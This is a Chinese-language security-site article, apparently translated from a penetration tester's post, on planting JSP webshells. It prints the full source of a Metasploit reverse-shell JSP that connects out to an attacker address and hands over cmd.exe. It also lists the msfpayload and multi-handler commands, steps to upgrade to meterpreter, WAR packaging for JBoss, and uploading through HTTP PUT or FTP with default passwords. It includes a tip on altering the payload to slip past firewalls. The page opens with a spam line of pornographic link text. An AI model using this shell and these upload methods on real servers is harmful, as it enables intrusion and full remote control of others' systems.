国产精品香蕉在线观看网,亚洲欧美精品综合在线观看,亚洲不卡av一区二区无码不卡,亚洲日本精品国产第一区二区

移動安全 安全管理 應用案例 網(wǎng)絡威脅 系統(tǒng)安全應用安全 數(shù)據(jù)安全 云安全
當前位置: 主頁 > 信息安全 > 應用安全 >

外國大牛教你玩轉(zhuǎn)JSP Shell

時間:2014-06-17 16:47來源:TuZhiJiaMi企業(yè)信息安全專家 點擊:
什么是WebShell WebShell就是以asp、php、jsp或者cgi等網(wǎng)頁文件形式存在的一種命令執(zhí)行環(huán)境,也可以將其稱做為一種網(wǎng)頁后門。黑客在入侵了一個網(wǎng)站后,通常會將這些asp或php后門文件與網(wǎng)站服務器
Tags應用安全(1006)JSP Shell(1)  

  什么是WebShell

  WebShell就是以asp、php、jsp或者cgi等網(wǎng)頁文件形式存在的一種命令執(zhí)行環(huán)境,也可以將其稱做為一種網(wǎng)頁后門。黑客在入侵了一個網(wǎng)站后,通常會將這些asp或php后門文件與網(wǎng)站服務器WEB目錄下正常的網(wǎng)頁文件混在一起,然后就可以使用瀏覽器…

外國大牛教你玩轉(zhuǎn)JSP Shell

  現(xiàn)如今,使用JSP開發(fā)的的網(wǎng)站越來越多,很多大公司的數(shù)據(jù)中心也會使用這種架構。在我的滲透經(jīng)驗之中,拿下JSP網(wǎng)站的主要方法就是上傳Shell從而執(zhí)行命令。在下面的文章中我將舉兩個JSP shell code的例子,和幾個常見的上傳shell的方法。

  JSP Shell

  對于不怎么熟悉Web Shell的人來說,我前文指的JSP Shell是一段"Java Server Page"這段代碼可以允許任何指令在服務器上執(zhí)行。一般來說,Shell通過一個HTML from來接受需要執(zhí)行的指令。下面,我對于每個例子都會給出基本的Shell代碼。我個人比較喜歡用,Metasploit JSP shells,因為它具有很好的穩(wěn)定性和清爽的界面。

  基本JSP shell

  這是一個最簡單的 JSP Shell,使用方法如下。

  (1)保存為cmd.jsp上傳到服務器。

  (2)訪問這個頁面,執(zhí)行命令。

外國大牛教你玩轉(zhuǎn)JSP Shell

  Metasploit JSP Shell

  在攻擊中使用Metasploit JSP Shell大概需要六步。

  (1)使用msfpayload創(chuàng)建一個cmd.jsp

  (2)上傳cmd.jsp到服務器

  (3)運行Metasploit multi-handler

  (4)訪問cmd.jsp

  (5)獲得shell

  (6)如果是windows,升級到meterpreter shell

  創(chuàng)建一個JSP Shell可以使用如下的命令,LHOST代表了自己主機的地址。

  ruby C:\framework\msf3\msfpayload java/jsp_shell_reverse_tcp LHOST=192.168.100.110 LPORT=53 R > cmd.jsp

  上面的指令成功執(zhí)行之后,Metasploit會生cmd.jsp的源代碼,有些情況下你可能需要修改其中的一些變量來繞過防火墻的檢測。

  <%@page import="java.lang.*"%> <%@page import="java.util.*"%><%@page import="java.io.*"%><%@page import="java.net.*"%><% class StreamConnector extends Thread { InputStream is; OutputStream os; StreamConnector( InputStream is, OutputStream os ) { this.is = is; this.os = os; } public void run() { BufferedReader in = null; BufferedWriter out = null; try { in = new BufferedReader( new InputStreamReader( this.is ) ); out = new BufferedWriter( new OutputStreamWriter( this.os ) ); char buffer[] = new char[8192]; int length; while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 ) { out.write( buffer, 0, length ); out.flush(); } } catch( Exception e ){} try { if( in != null ) in.close(); if( out != null ) out.close(); } catch( Exception e ){} } } try { Socket socket = new Socket( "192.168.100.110", 53 ); Process process = Runtime.getRuntime().exec( "cmd.exe" ); ( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start(); ( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start(); } catch( Exception e ) {} %>

  之后就是把cmd.jsp文件上傳到目標服務器。假設上傳后的地址是,http://www.victim.com/cmd.jsp之后就開始運用Metasploit multi handler,打開msfconsole使用如下命令。

  use exploit/multi/handler setg LHOST 192.168.100.110 setg LPORT 53 setg PAYLOAD java/jsp_shell_reverse_tcp setg SHELL cmd.exe exploit –j -z

  最后訪問 http://www.victim.com/cmd.jsp ,msfconsole就會受到反彈回來的鏈接。

  你可以通過以下的指令訪問這條shell

  sessions –I 1

  如果目標主機是一個windows主機,可以用以下的指令吧shell升級成一個meter-preter shell

  sessions –U 1

  打包JSP Shells

  有些情況下,需要把cmd.jsp打包成一個WAR文件(比如JBoss).在windows環(huán)境下,需要如下幾步。

  (1)安裝JDK

  (2)新建 WEB-INF目錄

  (3)在 WEB-INF/web.xml 中輸入如下內(nèi)容

   Command /cmd.jsp

  (4)使用如下命令可以把jsp,文件打包成jar包。

  "C:\Program Files (x86)\Java\jdk1.6.0_26\bin\jar.exe" cvf cmd.war WEB-INF cmd.jsp

  Shell上傳

  使用PUT方法

  PUT方法是HTTP的一個擴展協(xié)議,允許用戶向服務器上傳文件。很久以前這個漏洞還是很流行的。

  基本所有掃描工具都可以,掃描到這個漏洞,也可以通過ncat之類的工具找到這個漏洞。我比較喜歡

  使用burp,使用burp檢測這個漏洞,需要如下幾步。

  (1) 進入repeater tab選項卡

  (2) 構造如下文件頭

  PUT /path/cmd.jsp HTTP/1.1 Host: Content-Length: 0

  (3) 在文件頭下面連續(xù)輸入兩次回車之后輸入JSP shell code。

  (4) 在burp下提交構造好的包。

  上傳方式

  一般情況下,網(wǎng)站對于上傳文件的類型都有很嚴格的控制,但攻擊者仍然有幾種方法來繞過他們。這里就不詳細敘述了。

  發(fā)布WAR文件

  有一些服務器軟件會使用到WAR,其中一些會提供用戶上傳WAR文件的接口。有些會允許用戶使用一些外部源。Josh Abraham 寫了一些jBoss metasploit exploits,叫做jboss_maindeployer。這里還有一篇比較不錯的paper來講針對jBoss的攻擊。

  文件共享

  有的時候,網(wǎng)站的主目錄會被部署到ftp服務器上,如果能猜到密碼或者是ftp使用了默認的密碼。就可以通過ftp來上傳shell。

  其實這是一篇科普文。最后對于文件上傳技巧的敘述比較冗長有刪節(jié)。

------分隔線----------------------------

推薦內(nèi)容